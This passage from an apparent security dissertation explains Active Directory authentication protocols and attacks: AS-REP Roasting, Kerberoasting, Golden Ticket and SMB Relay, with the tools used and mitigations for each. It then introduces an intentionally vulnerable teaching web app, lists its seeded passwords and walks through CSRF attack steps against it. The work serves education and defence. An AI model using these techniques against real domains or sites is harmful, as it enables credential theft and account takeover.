It’s important to understand that while modern Windows environments default to using the more se-
cure Kerberos protocol, NTLM remains active for backward compatibility. Therefore, both these protocols
are typically enabled in the majority of AD networks.
3.3.1 Kerberos
Kerberos (version 5) [30] is the default authentication protocol used by AD and provides a secure and
robust solution for authenticating users and computers on a network [22]. The Kerberos protocol is
based on the concept of tickets, which are encrypted and time-limited tokens issued by the KDC, a
central authority in the domain that is usually played by the DC in charge of creating Kerberos tickets.
These tickets grant access to resources and services across the network without requiring the user to
provide their credentials multiple times. In simpler terms, tickets function as a proof of authentication [21].
Tickets in the Kerberos protocol were designed to provide mutual authentication (i.e., the server and
the client verify each other’s identity) and prevent replay attacks. These two features play a vital role in
making Kerberos a robust authentication protocol, even if the communication occurs over a non-secure
network.
The Kerberos protocol relies on accurate time synchronization between the KDC, clients, and ser-
vices, as timestamps are extremely important to prevent replay attacks and ensure the freshness of
tickets. The default maximum time difference allowed between the KDC, clients and services is typically
five minutes [31] and the maximum lifetime for a ticket is, by default, ten hours [32]. In addition, the KDC
maintains a replay cache that keeps track of all messages received in the last five-minute window and,
when a new message arrives, the KDC checks it against the cache, rejecting replayed messages [33].
Kerberos supports several encryption types, including the current standards for strong encryption
AES and Camellia (both with key sizes of 128 and 256 bits). However, it also supports older and less
41
secure ciphers such as Triple DES and RC4 [34]. For ensuring the integrity of messages, Kerberos
uses an Hash-based Message Authentication Code (HMAC) and supports different types of hashing
algorithms, such as MD5, SHA-1 and SHA-2 [34]. When requesting a ticket from the KDC, the client
may include an optional list of encryption types and the KDC selects the strongest encryption type of the
intersection between the client’s list and the list of encryption types permitted by the KDC’s configuration
[35]. In case the client does not specify a list or the KDC does not support any of the specified types,
the KDC uses the default encryption type (which is configured on the KDC). Evidently, if the client does
not support the default type, the authentication fails.
The Kerberos authentication process starts with the user’s workstation sending their username and a
timestamp encrypted with the user’s password hash. This message is called Authentication Service
Request (AS-REQ).
Following, the KDC decrypts the timestamp using the stored password hash of the user. The decryp-
tion is only successful if the password hash used by the client is the same as the one stored in the KDC.
That way, the KDC is able to confirm that the user’s password is valid. In that case, it generates a Ticket
Granting Ticket (TGT) and a Session Key for the user. The TGT contains the username, an expiration
time and the Session Key itself [31]. This ticket is encrypted with the KDC’s secret key (krbtgt account’s
password hash), and the Session Key is encrypted with the user’s password hash. The KDC sends back
a message known as Authentication Service Response (AS-REP) containing the encrypted TGT and
Session Key.
Figure 3.7 illustrates this message exchange between the client and the KDC.
It is relevant to note that the KDC does not store the Session Key as it can be retrieved later by
decrypting the TGT.
An important aspect about Kerberos in AD is understanding that krbtgt is the name of a built-in
account that is produced when a domain is created. This account is not meant for regular logins as
its purpose is being used by Kerberos to issue TGTs. Thus, if the krbtgt account is compromised, an
attacker can use it to create valid Kerberos tickets and impersonate any user in the domain.
42
Upon receiving the message, the user’s workstation decrypts the Session Key and stores it, along
with the encrypted TGT. The TGT and Session Key can now be used to request access to a resource
on the network, such as a remote file or a printer.
In order to access services and resources, a Ticket Granting Service (TGS) is needed. To get one from
the KDC, the user’s workstation sends a Ticket Granting Service Request (TGS-REQ) message, which
is composed of:
• The Service Principal Name (SPN), which indicates the service and server name the user wants
to access.
Then, the KDC decrypts the TGT to obtain the Session Key and the expiration time. If the ticket has
not expired, the KDC uses the Session Key to decrypt the username and the timestamp. Otherwise, an
error message is returned and the client must request a new TGT from the KDC [32]. Subsequently, the
timestamp of the message is also verified. If it is outside of the allowed time skew, an error message is
sent.
After that, the KDC generates the TGS and a Service Session Key, which can be used to authenticate
the user on the desired service. The TGS contains the username, an expiration time and the Service
Session Key [31]. The KDC sends back a message called Ticket Granting Service Response (TGS-REP)
with the TGS, encrypted with a key derived from the password of the service account (user or computer
account which runs the service), and the Service Session Key, encrypted with the Session Key.
Figure 3.8 shows this message exchange between the client and the KDC.
43
3.3.1.C Using a Ticket Granting Service to authenticate
Finally, the TGS can be used to authenticate the user on the requested service. First, the user’s work-
station decrypts the Service Session Key, provided by the KDC using the Session Key and, then, sends
a message known as Application Service Request (AP-REQ) to the service, containing:
The service decrypts the TGS using its secret key to obtain the Service Session Key and the expira-
tion time. If the ticket has not expired, the server uses the Service Session Key to decrypt the username
and the timestamp. Otherwise, the server sends an error message and the client must request a new
TGS from the KDC [32]. Afterwards, the timestamp of the message is checked and, if it is not within the
allowed time skew, an error message is returned.
If everything is correct, the service grants access to the user and sends an Application Service
Response (AP-REP) message, containing a timestamp encrypted with the Service Session Key, as
proof of successful authentication.
This message exchange between the client and the server is depicted in Figure 3.9.
3.3.2 NTLM
NTLM [36] is an older, Windows-based authentication protocol that is used when Kerberos authentication
is not available or when clients do not support Kerberos. Although NTLM is less secure and less efficient
than Kerberos, it is still supported in AD environments for backward compatibility with older systems and
applications [21].
The NTLM authentication process consists of a challenge-response mechanism, which involves the
following steps [31]:
1. Negotiation: The client initiates the authentication process by sending a negotiation message to
the server, indicating the supported NTLM options and features.
44
2. Challenge: The server responds with a challenge message containing a randomly generated
nonce, which the client will use to prove knowledge of its password hash. The server also specifies
the NTLM options and features it supports.
3. Response: The client encrypts the received nonce with the hash of the password and sends it to
the server.
After that, the server must verify that that the client’s NTLM response is valid. However, the server
does not know the user’s password. Therefore, the DC must validate the NTLM response for the server.
The verification process works as follows [31]:
1. The server sends the NTLM challenge and the client’s NTLM response to the DC.
2. The DC retrieves the stored hash of the user’s password and computes the NTLM response from
the challenge. Then, it checks if it matches the original response sent by the client. In case it is a
match, the client is authenticated.
3. Finally, the server forwards the result to the client. If the authentication is successful, access is
granted to the user.
Figure 3.10 illustrates the authentication process, detailing the messages exchanged between the
client and the server, as well as between the server and the DC.
The NTLM authentication process is vulnerable to man-in-the-middle because, unlike the Kerberos
protocol, it does not provide mutual authentication. This allows several types of attacks, such as pass-
word cracking and message relay.
Despite its limitations, NTLM continues to be supported in AD domains as a fallback authentication
protocol for situations where Kerberos is not available or not supported. However, it is heavily recom-
mended to use the Kerberos protocol whenever possible, as it provides stronger security and better
performance.
Name resolution protocols such as Link-Local Multicast Name Resolution (LLMNR) [37] and NetBIOS
Name Service (NBT-NS) [38] are used on Windows networks to enable hosts to independently do DNS
45
resolution for all hosts within the local network. These protocols are used to facilitate communication be-
tween devices on the same local network and are particularly relevant in the context of AD vulnerabilities
because they are susceptible to poisoning attacks, allowing attackers to perform a man-in-the-middle.
It is relevant to grasp how these two protocols work and how they allow man-in-the-middle attacks to
be able to understand the SMB relay attack, covered in Section 3.6.5.
3.4.1 LLMNR
LLMNR is a protocol enabled by default on Windows systems that allows hosts to perform name resolu-
tion for other hosts on the same local network. Instead of placing excessive load on DNS servers, hosts
try to find the target host on the local network by sending LLMNR requests and checking for responses
from other hosts. Moreover, this protocol is also used as a fallback option in case a DNS resolutions
fails (i.e., the DNS server cannot resolve the requested hostname).
LLMNR queries are sent via UDP to the mulitcast address [Link], using port 5355 [37]. If any
machine in the local network is listening to LLMNR queries and has the requested hostname, it responds
to the sender directly via unicast.
Given that LLMNR relies on multicast requests on the local network, attackers are able to listen for
LLMNR queries, intercept them and respond with their own IP address, as illustrated by Figure 3.11. This
allows them to associate their IP address with the requested hostname, effectively poisoning the client.
After that, the network traffic that was destined to the device with the target hostname gets redirected to
the attacker. In the event that the requested host is associated with a resource or service that requires
authentication, the username and NTLM hash will subsequently be sent to the attacker [39]. This NTLM
hash can then be bruteforced to crack the user’s password or it can be relayed to target server to grant
access to the attacker, as covered in Section 3.6.5.
46
3.4.2 NBT-NS
NBT-NS is the predecessor to LLMNR [40] and identifies hosts on a local network by their NetBIOS
name. Like LLMNR, it is used by Windows systems for name resolution within a local network segment
and is enabled by default, mainly for backward compatibility.
NBT-NS queries are sent via UDP to the broadcast address [Link], using port 5355 [38].
In case there is a device in the local network with the requested NetBIOS name, the response is sent
back directly via unicast.
Since NBT-NS works similarly to LLMNR, it is also vulnerable to poisoning, allowing adversaries to
perform man-in-the-middle attacks.
The SMB protocol is mostly used for providing shared access to resources, such as files and printers, in
a network. For instance, with the SMB network protocol, clients (i.e., user’s workstations) can communi-
cate with remote servers to read, create and update files [41]. SMB typically relies on TCP for transport
and primarily uses port 445.
Currently, version 3 is the recommended version of the SMB protocol as it is considered to be more
secure than version 1 and 2. There a lot of security concerns regarding version 1 and Microsoft strongly
advises against using it [42]. As a matter of fact, it comes disabled by default in modern Windows
systems (since Windows 10 version 1709 and Windows Server version 1709) [43]. Although version 2
is still supported and enabled by default for compatibility reasons, Microsoft suggests using version 3
whenever possible.
SMB servers typically require user authentication, which is provided by Kerberos or Microsoft’s
NTLM. As explained in Section 3.3.2, NTLM is vulnerable to man-in-the-middle attacks. Therefore, SMB
is susceptible to being attacked when using NTLM for authentication. This is also true for the secure
version 3 of the protocol because these attacks exploit the use of the NTLM protocol for authentication
rather than the SMB protocol itself.
To prevent such attacks, the protocol provides an optional feature called SMB signing, which provides
mutual authentication and data integrity. In order to be used, SMB signing must be enabled on both the
server. In DCs, this SMB security feature is enabled by default. On the other hand, in Windows servers, it
must be enabled by the domain administrators if they wish to implement it on their network. In summary,
SMB signing adds a signature in the form of an HMAC with a secret session key to the SMB packets that
ensures the authenticity and integrity of the data being transmitted [44]. This prevents man-in-the-middle
attacks because attackers must make small changes in the intercepted packets and they are not able to
forge the message signature [40].
47
Section 3.6.5 discusses how the SMB protocol can be attacked by exploiting the lack of robust se-
curity measures and mutual authentication of NTLM, as well as the susceptibility to poisoning attacks of
LLMNR and NBT-NS. Moreover, it covers how SMB signing can be used to prevent man-in-the-middle
attacks to SMB and discusses the disadvantages of this mitigation mechanism.
As AD has become an integral part of the IT infrastructure of most companies [19], it has also turned into
a prime target for adversaries looking to compromise its security. By exploiting weaknesses in AD design
or misconfigurations, attackers can gain unauthorized access. Moreover, they will leverage lateral move-
ment (i.e., moving around the environment and gaining access to more users and devices) techniques
to achieve privilege escalation and, eventually, their final goals. Obviously, all of this can be significantly
harmful to an organization. Therefore, it is crucial to understand how some of the most common AD
attacks work and discuss potential mitigation strategies. The attacks covered in this dissertation include:
• AS-REP Roasting;
• Kerberoasting;
• Golden Ticket;
• SMB Relay.
The aim is not to provide an exhaustive coverage of all possible AD attacks but to offer a solid
understanding of some of the most common and impactful ones. Hence, for each of the covered attacks,
there is a detailed explanation of how they work, as well as a mention of the most common publicly
available tools used to perform them and the strategies that can be implemented to mitigate them.
The first step that attackers need to take before they can exploit AD misconfigurations and vulnerabilities
is acquiring an initial set of credentials. When doing that, the focus is not exactly in acquiring an account
with elevated privileges as a low-privileged user is enough to get them started [40]. They can, then,
continue enumerating the domain to move laterally in the network and to escalate privileges. One
popular and usually effective way of acquiring credentials is through phishing. However, another way is
trying to enumerate usernames in the domain via Kerberos or NTLM.
In Kerberos, for example, when obtaining a TGT (refer to Figure 3.7), the client sends the username
and an encrypted timestamp with the user’s password hash. One way to discover valid usernames is
48
to send AS-REQ messages without the encrypted timestamp (these are known as TGT requests with
no preauthentication [45]). These requests are generally not allowed and the KDC does not provide the
TGT to the client. Instead, it responds by prompting for preauthentication. However, the response from
the KDC reveals whether the username is valid or not. As depicted by Figure 3.12, if the KDC responds
with a ”PRINCIPAL UNKNOWN” error, it means that the username does not exist in the domain. On the
other hand, if the KDC sends a ”PREAUTH REQUIRED” error, it means that the username is valid [46].
This enables attackers to enumerate usernames in a domain with a large textfile of usernames (e.g.,
a list of the most common usernames in AD domains) without locking out any accounts, given that this
technique does not produce login failures. Some of the most common tools used for this purpose include
Kerbrute [45] and Nmap [47] (using a specific Kerberos script [46]).
After obtaining a list of valid usernames in a domain, attackers may proceed to trying to acquire the
corresponding passwords. Attackers could perhaps use a password list to bruteforce these usernames.
However, AD networks usually have account lockout policies and trying multiple passwords will surely
trigger the account lockout mechanism [40]. Thus, a possible alternative is performing a Password
Spraying attack.
Password Spraying is a method of attack where an adversary attempts to authenticate to multiple
accounts using a very limited set of commonly used passwords, in order to avoid triggering the account
lockout system. In contrast to traditional bruteforce attacks, which target one account with many pass-
words, Password Spraying relies on the fact that users often use weak and common passwords [48], or
even the default password. The Kerbrute tool can also be used to password spray the discovered users
of the domain.
To mitigate user enumeration and password spraying attacks, administrators should monitor anoma-
lous activity in the network, such as an unusually high number of TGT requests and failed login attempts.
Moreover, they should implement strong password policies that require users to choose more complex
passwords and to change them regularly.
49
3.6.2 AS-REP Roasting
AS-REP Roasting is an attack technique that exploits a feature in the Kerberos protocol where a user
account is configured to not require preauthentication [49]. By default, when a user attempts to authen-
ticate with the KDC, it requires preauthentication in the form of a timestamp encrypted with the user’s
password hash. However, when preauthentication is disabled, the KDC skips this step and directly
responds with the encrypted TGT and Session Key, as shown by Figure 3.13.
This misconfiguration can lead to serious consequences. Since the Session Key is encrypted with
the hash of the user’s password, the attacker can then attempt to crack it offline. This might allow them
to acquire the user’s password without risk of locking out the account since no login attempts are made.
Impacket [50] is a great tool to use for Kerberos ticket-related attacks. In this case, the [Link]
script can be used to find domain users that have the ”Do not require Kerberos preauthentication” prop-
erty enabled and get TGTs in their name. After that, password cracking tools such as Hashcat [51] and
John the Ripper [52] can be very helpful when attempting to recover the user’s password from the hash.
To stop the AS-REP Roasting attack, administrators must ensure that preauthentication is required
for all user accounts. Once again, implementing strong password policies is also imperative as it might
resist offline password cracking.
3.6.3 Kerberoasting
Kerberoasting is an attack that targets service accounts in an AD domain that are associated with SPNs.
An SPN serves as a distinctive identifier for a service instance [53]. SPNs are used in Kerberos authen-
tication to link a service instance with a service login account (account that is explicitly designated to
operate a service [54]).
Kerberos authentication, by its design, allows any authenticated user in the domain to request a TGS
for any service. In this case, the TGS is encrypted using the hash of the service account’s password.
This means that, after an attacker compromises the account of a domain user, they are able to request
a TGS for a service associated with an SPN, as illustrated by Figure 3.14. Afterwards, they can attempt
to crack the service account’s password offline.
50
Figure 3.14: Kerberoasting Attack
SPNs are mostly associated with the computer account where the service is running and these
passwords are not crackable as they are composed of random characters that change every thirty days
[55]. However, SPNs can often be associated with a user account and that is where the alarming
problem lies. Moreover, service accounts often have high privileges, which makes them a prime target
for attackers. On top of that, after cracking the key, attackers are able to forge TGSs to that particular
SPN as any user of the domain [55].
After obtaining credentials for a domain user, Impacket’s [Link] script allows attackers
to find SPNs that are associated with user accounts and request a TGS for that service. Similarly to
AS-REP Roasting, Hashcat and John the Ripper can be used to try to crack the password offline.
Mitigating against Kerberoasting involves implementing strong password policies for user accounts
associated with SPNs to ensure they are complex and regularly changed. Additionally, these accounts
should adhere to the principle of least privilege and only be granted the required permissions to perform
the tasks associated with the service.
Golden Ticket attacks are some of the most potentially harmful when it comes to AD attacks. The term
Golden Ticket refers to a Kerberos TGT for the krbtgt account. As explained in Section 3.3.1, this
account is only used by Kerberos to issue TGTs. If an attacker is able to obtain the krbtgt account’s
password hash, they are able to generate valid tickets to impersonate any user in the domain and
essentially gain unrestricted access to any resource within the network [56].
Usually, in order to compromise the krbtgt account, the attacker must have access to a DC or a user
with administrative privileges [57]. With the krbtgt account’s password hash, the attacker can create a
TGT and then present it to the DC as if it was a legitimate ticket. Naturally, this ticket appears valid to
the DC and can be subsequently used to issue a TGS for any service on the domain.
Despite requiring high privileges, Golden Ticket attacks are particularly dangerous because, besides
from allowing attackers to impersonate any user, they also enable them to retain privileged access to
the domain [57]. For instance, if the original high privileged account that was compromised to obtain
51
the krbtgt account’s password hash is removed or loses its privileges, the attacker is still allowed to
generate new TGTs for the administrator account, effectively maintaining persistence over the high level
access. In simpler terms, although a Golden Ticket attack requires initial high privilege access, it allows
to maintain and expand that access, which is why it is considered so dangerous.
The Impacket tool provides all the necessary scripts to perform a Golden Ticket attack. First of all,
[Link] can be used to obtain the krbtgt account’s password hash. The [Link] script
allows to forge TGTs or TGSs and, in this case, it can be used to create a golden ticket for the domain
administrator. Afterwards, the ticket allows the attacker to authenticate as the administrator user using
any of Impacket’s command execution scripts (e.g., [Link] and [Link]).
In order to prevent Golden Ticket attacks, administrators should reset the krbtgt account’s password
frequently. The complexity of the password is not a concern since it is the Windows system itself that
generates a long and complex value for the password upon resetting [58]. Furthermore, administra-
tors should monitor for anomalous Kerberos ticket activity and employ the principle of least privilege to
minimize the potential damage of compromising an account.
As explained in Section 3.3.2, NTLM is vulnerable to man-in-the-middle, and the SMB Relay attack takes
advantage of that. In this case, attackers are able to listen for NTLM authentication attempts from clients
on the network and, when an attempt is caught, they can relay the authentication messages between
the client and the server, effectively gaining access to the target server, as shown by Figure 3.15.
To perform the man-in-the-middle attack, attackers need to poison LLMNR and NBT-NS requests.
Given that these protocols rely on multicast requests on the local network, attackers are able to intercept
them and send poisoned responses associating their IP address with the requested hostname. By
poisoning these requests, the attackers attempt to force the client to connect to the attacker’s machine
instead of the target host [40].
This means that there is a race condition involved in the SMB Relay attack because the attacker’s
machine is ”racing” against the legitimate machine to be the first to respond to the client’s request. If the
attacker’s machine is able to respond faster than the legitimate machine, the man-in-the-middle attack
52
succeeds. However, it is worth to note that, in many scenarios, there might not be a legitimate machine in
the local network that can respond to the request. For instance, in case the user mistyped the resource
name or in case the attacker tricked the user into trying to access a non-existent resource. In these
circumstances, the race condition aspect is completely irrelevant as the attacker’s machine is the only
one sending responses to the client.
This attack can be particularly dangerous when the relayed authentication comes from a user with
high privileges on the domain, since the attacker can then execute high-level commands and access
important files. It is also important to note that this type of attack occurs without the attacker ever
cracking or knowing the user’s password.
Responder [59] is a poisoner tool that allows to poison LLMNR and NBT-NS requests to perform
NTLM man-in-the-middle attacks. On top of that, Impacket’s [Link] script relays the authenti-
cation to the SMB server. Together with Responder, this script performs SMB Relay attacks and can be
used to establish a connection on the target server as the victim of the man-in-the-middle.
Mitigating SMB Relay attacks usually involves enforcing SMB signing on every server in the network.
SMB signing ensures the authenticity of the communication by using message signatures (i.e., HMAC),
effectively preventing man-in-the-middle attacks. As mentioned in Section 3.5, this feature is only en-
abled by default on DCs and, thus, administrators need to enable it on every SMB server. The downside
is that this feature can create too much overhead on the network and, on top of that, there might be some
legacy devices that do not support it (e.g., printers) [60] or do not have the computational resources to
do it without causing performance issues. Another mitigation strategy consists of disabling LLMNR and
NBT-NS on the network [60]. Once again, it also has a drawback, since disabling these protocols can
create too much load on the DNS servers. Moreover, implementing network segmentation [60] can help
in limiting the scope of LLMNR and NBT-NS requests given that these protocols are limited to the lo-
cal broadcast domain. Therefore, segmenting the network prevents them from propagating across the
entire domain and minimizes the risk of poisoning attacks. In summary, administrators must take into
account several factors (e.g., the size and complexity of the network, the type of devices, etc.) when
deciding on how to mitigate SMB Relay attacks, given that there are different trade-offs associated with
each strategy and the optimal approach may vary from network to network.
53
54
Hackergram Lab
4
Contents
4.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
4.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
4.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
55
56
Hackergram Lab is an intentionally vulnerable web application that was designed with the purpose
of providing students and security enthusiasts with a vulnerable environment where they can familiarize
themselves with and gain practical experience in identifying, exploiting and mitigating various types of
web vulnerabilities, mainly the ones covered in Chapter 2 (i.e., CSRF, XSS and SQLi).
This vulnerable web application consists of a simple social networking website. In Hackergram, users
can create an account by registering their username, password and name. Once registered, users can
log into their account and start using its various features:
• Posts are the main feature of the website. Users can write posts that will then be shown to other
users on the homepage.
• Users can connect with each other by sending friendship requests, which can be accepted or
declined.
• A user can also remove his friendship with another user at any time.
• Users can navigate to any user’s profile to see their information (i.e., name, username, picture and
bio), as well as their posts and friends.
• A user is allowed to change their own settings (i.e., name, password, picture and bio).
• There is a search functionality that allows users to search for posts with a specific word or content
and search for other users by username.
Hackergram is not an attempt at replicating or improving upon any existing social networking web-
sites. Instead, it provides a controlled environment where students and security enthusiasts can test
their knowledge and skills without causing any harm to real-world systems or users. Hackergram was
created to be a simple, yet realistic web application and its features were purposefully designed to be
vulnerable to these attacks.
The source code for Hackergram Lab is available at 0xDrogon/hackergram-lab.
Before discussing the details about the implementation of Hackergram Lab, this section examines related
projects in the field of web pentesting and addresses their similarities and differences. Comparing these
labs enables an analysis of the respective advantages and disadvantages of each solution.
When it comes to web vulnerabilities, there are several platforms that provide labs to try these at-
tacks and it is not possible to cover all of them. The following subsections address SEED Labs [61],
57
PortSwigger’s Web Security Academy [62] and TryHackMe [63], where the strengths and weaknesses
of each approach are compared to Hackergram Lab.
SEED Labs is a project focused on cybersecurity training. It consists of a series of laboratories that
covers several categories, including web security. Similar to Hackergram Lab, it addresses the CSRF,
XSS and SQLi attacks. Another similarity between the projects is that both use Docker containers to
deploy the lab machines (i.e., the web server and the attacker) locally.
However, SEED Labs implements a different lab for each vulnerability, while Hackergram Lab focus
on addressing these three vulnerabilities in the same lab environment. In other words, in SEED Labs,
users have to setup different lab environments in order to learn and practice these attacks, whereas
Hackergram Lab is a three-in-one solution.
One advantage of SEED Labs is that it has built-in countermeasures implemented for each vulner-
ability (disabled by default), which allows users to try the attacks in a vulnerable application and in a
protected one. Therefore, it enables them to better understand how they should protect web applica-
tions from these attacks. On the other hand, Hackergram does not yet support this feature (check the
recommended future work in Section 7.2).
PortSwigger’s Web Security Academy is an online platform with several labs about web security. Each
lab consists of a small challenge and users must perform some type of attack in order to solve it. Apart
from CSRF, XSS and SQLi, it also covers other web vulnerabilities, such as Prototype Pollution, Server-
Side Request Forgery (SSRF), etc.
One advantage of this solution is that it offers a variety of labs with different difficulty levels, which
accommodates beginners, intermediate learners and experts, enabling them to practice and enhance
their skills.
Unlike Hackergram Lab and SEED Labs, Web Security Academy is an online platform. On the one
hand, it can be seen as a positive aspect, as users do not have to setup the environment locally. On
the other hand, users must have Internet connection in order to interact with this platform and solve the
labs, which can be viewed as a minor limitation.
4.1.3 TryHackMe
TryHackMe is a widely known online platform for cybersecurity training. It offers an extensive variety
of labs (called rooms) about different areas of cybersecurity, including web security. Generally, Try-
58
HackMe’s rooms work in a Capture The Flag style and users must perform some type of attack in order
to obtain the flag and solve the room.
Similarly to PortSwigger’s Web Security Academy, TryHackMe provides the benefit of offering a di-
verse range of rooms at varying difficulty levels, making it very inclusive to users with different levels
of skills. Thus, it enables beginners, intermediate learners and experts to use the platform to further
improve their abilities.
TryHackMe follows a similar approach to PortSwigger’s Web Security Academy in the sense that
it is an online platform, unlike Hackergram Lab and SEED Labs. On top of that, it offers a premium
subscription which gives their users access to premium rooms. This can be viewed as a major drawback
as the rooms that are freely available are usually not as interesting and enlightening as the premium
ones.
4.2 Overview
Hackergram was developed in Python and uses Flask, a popular web framework that was chosen for
its flexibility, simplicity and ease of use. The templating engine Jinja2 is used to render HTML views,
enabling the dynamic generation of content on the web page. In addition, MySQL is used for managing
the relational database of the web application. On the frontend, the Bootstrap framework is used to
simplify the development process and help create a responsive and visually appealing user interface
without the need for custom CSS and JavaScript code. Figure 4.1 depicts the architecture of the web
application.
4.2.1 Structure
The structure of the web application can be decomposed into three main components:
• The [Link] file, which contains the data models for accessing the database.
59
• The [Link] file, which defines the routes for the application and handles incoming HTTP re-
quests.
The main application file is responsible for creating the Flask app object and configuring it (e.g.,
setting the app secret key, initializing the database, etc.). Additionally, it imports the models and views
modules to register the routes and views with the app.
The models file defines all methods necessary to access the database, both for reading from it
(SELECT queries) and writing on it (UPDATE, INSERT and DELETE queries). These functions are then used
by the views file to interact with the database.
In the views file, each route maps to a particular endpoint and HTTP method, and each view function
is responsible for processing the incoming request and returning an appropriate response. Moreover,
each route calls the appropriate function from the models file to interact with the database, and then
renders the appropriate template (using Jinja2) to display the results to the user.
Hackergram uses MySQL to manage its relational database, which includes four tables: Users, Posts,
Friends and Requests.
The Users table stores information about registered users, including their username, password, name,
bio and photo. The username is a unique identifier that serves as primary key for this table and, together
with password, enables users to authenticate. The name and bio are text fields that allow users to
respectively display their names and input a short description about themselves. The photo field stores
the file path to the user’s profile picture.
The Posts table contains information about all users’ posts. It includes an auto-incremented identifier
(id), which serves as the primary key for this table, and an author field which is used as foreign key,
referencing the username field from the Users table. The content field stores the text of the post and
the posted\_at field stores the timestamp of when the post was made or last updated.
The Friends table represents a many-to-many relationship between users. It includes an auto-
incremented identifier (id), which serves as the primary key for this table, and two username fields
(username1 and username2) as foreign keys, referencing the two users of each friendship.
The Requests table is identical to the Friends table but, instead of representing all friendships be-
tween users on the platform, it stores friendship requests made by users (i.e., active requests that have
not yet been accepted nor declined).
60
4.2.3 Routes and functionalities
The web application is structured as a set of routes that handle incoming HTTP requests and generate
responses to the user, allowing to implement a variety of functionalities. Each route has a corresponding
HTML template that is rendered using the Jinja templating engine. The templates include HTML code
as well as placeholders for dynamic content based on user data.
The following routes are implemented in the web application in order to provide the respective func-
tionalities:
• /: The homepage, which displays the user’s feed (list of posts ordered from latest to oldest). When
a user successfully logs in or signs up to the application, they land on this page.
• /login: The login page, which allows users to log into the application. When an unauthenticated
user makes a request to any other endpoint apart from /signup, they are redirected to this page.
• /signup: The signup page, which allows users to register a new account.
• /logout: Logs the user out and redirects them to the login page.
• /settings: Enables users to view and modify their account information (name, password, photo
and bio).
• /requests: Displays the user’s pending requests and allows them to accept them.
• /remove_friend: Removes the specified user from the user’s list of friends.
• /friends: Displays all friends of the specified user and allows to search for specific usernames.
• /users: Enables users to search for other users by querying specific usernames.
61
4.2.4 Additional information
The initial state of the Hackergram application already includes several users, posts, friendships and
friendship requests to enable the exploitation of its web vulnerabilities without needing to fill the applica-
tion with dummy data.
Moreover, the web application includes a special endpoint called /reset that allows to reset the ap-
plication to its initial state at any moment. This is particularly useful since some attacks completely break
the web application and this offers the possibility of going back to a clean state whenever necessary.
Table 4.1 lists all existing users in the web application and their respective passwords. The user
@mr_robot is the one with the most user data on the application and will primarily be used as the victim
user on the upcoming attacks.
User Password
admin 1 4m Th3 4dm1n
mr robot elliot123
dpr silk-road
satoshi bitcoin2009
heisenberg walter1958
rick RickC-137
stark winterfell
anon1 1
anon2 2
anon3 3
It is important to state that Hackergram Lab is an extremely vulnerable environment and intended for
educational purposes only. Thus, this web application should not be used in production systems. More-
over, Hackergram might be vulnerable to more attacks than the ones covered in the following section.
4.3 Attacks
In order to attack this vulnerable web application, the network topology depicted in Figure 4.2 was set
up in GNS3. In this scenario, there is a switch connecting the following machines running in Docker
containers:
62
These three machines are all inside the same private network ([Link]/24) and can access
each other freely. There is no access to the Internet.
There are several endpoints on Hackergram that are vulnerable to CSRF attacks, namely:
In order to simulate these attacks as close to reality as possible, an HTTP server can be launched on
the attacker machine, using Python. This will allow the victim’s web browser to navigate to the malicious
links that will trigger the CSRF attacks.
1 $ cd /home/exploits
2 $ python3 -m [Link] 80
In a real-life scenario, the attacker needs to trick the victim into clicking on their malicious website
link (e.g., by employing phishing techniques). Throughout these simulations, this step will be ignored.
The /create_post endpoint expects a POST request and is vulnerable to CSRF. In order to exploit this
vulnerability, the malicious web page needs to include a form that makes a request to that endpoint with
63
the respective input (in this case, a text field named content with the content of the post). Moreover, the
form should be automatically submitted when the victim opens the page.
Listing A.1 shows the HTML code that allows to perform this attack. As explained in Section 2.2, it
uses a form that is automatically submitted to the vulnerable endpoint as the page is loaded by the web
browser. Hence, the attack compromises the following steps:
Step 1: On the web browser, the victim must be currently logged in.
Step 2: To simulate the attack, the browser must navigate to the malicious link on another tab:
[Link]
Step 3: The malicious web page sends out the form on behalf of the victim. A new post is created
and the victim is redirected to Hackergram’s homepage.
As illustrated by Figure 4.3(a), the attacker manages to successfully create a post on behalf of the
victim. Figure 4.3(b) shows a captured packet with the HTTP POST request being made from the victim’s
machine to the web server. Notice that the web browser includes the session cookie in the request.
(a) Forged post (b) Captured packet with the POST request
The same technique can be used to exploit the /edit_post, /request_friend and /remove_friend
endpoints, allowing an attacker to, respectively, edit an old post made by the victim, send a friendship
request on behalf of the victim, and remove a friend from the victim’s friendship list. The HTML code
that allows to perform these attacks can be seen in Listing A.2, Listing A.4 and Listing A.6, respectively.
The /requests endpoint is also vulnerable to CSRF but, instead of a POST request, it expects a GET
request. In order to exploit this vulnerability, the malicious web page needs to include a form that makes a
request to that endpoint with the respective input (in this case, a text field named username that specifies
the user’s friendship request to be accepted). Similarly to the previous simulation, the form should be
automatically submitted when the victim opens the page.
64
Listing A.5 shows the HTML code that allows to perform this attack. It uses an HTML form to send a
GET request to the vulnerable endpoint in order to accept @anon1’s friendship request.
Figure 4.4(a) shows that, before the attack, the user has three pending requests, including one from
the @anon1 user. With that in mind, the attack consists of the following steps:
Step 1: On the web browser, the victim must be currently logged in.
Step 2: To simulate the attack, the browser must navigate to the malicious link on another tab:
[Link]
Step 3: The malicious web page forces the victim to accept a pending friendship request from
@anon1, and the victim is redirected to Hackergram’s homepage.
Figure 4.4(b) demonstrates that one of the requests is no longer pending (the one from the @anon1
user). Therefore, the attacker managed to successfully accept the pending friendship request from the
@anon1 user on behalf of the victim. Figure 4.4(c) shows a captured packet with the HTTP GET request
being made from the victim’s machine to the web server. Notice that, once again, the web browser
includes the session cookie in the request.
(a) Friendship requests before the attack (b) Friendship requests after the attack
The same technique can be used to exploit the /delete_post endpoint, allowing an attacker to delete
a post made by the victim. The HTML code that allows to perform this attack can be seen in Listing A.3.
65
4.3.2 Cross-Site Scripting
There are two types of XSS vulnerabilities on Hackergram: Stored XSS and Reflected XSS. In Stored
XSS, the attacker leverages the web application’s features, such as posts and profiles, to inject JavaScript
code that is recorded on the database and, later, sent to users and executed by web browsers. The end-
points that are vulnerable to this type of XSS are:
• /create_post
• /settings
On the other hand, in Reflected XSS, the attacker needs to trick the victim into clicking on a malicious
link with JavaScript code. If clicked on, the web application includes the code in the requested web page
and the browser executes it. The endpoints that are vulnerable to this type of XSS are:
• /users
• /posts
To demonstrate the presence of these XSS vulnerabilities, the alert() function is going to be used.
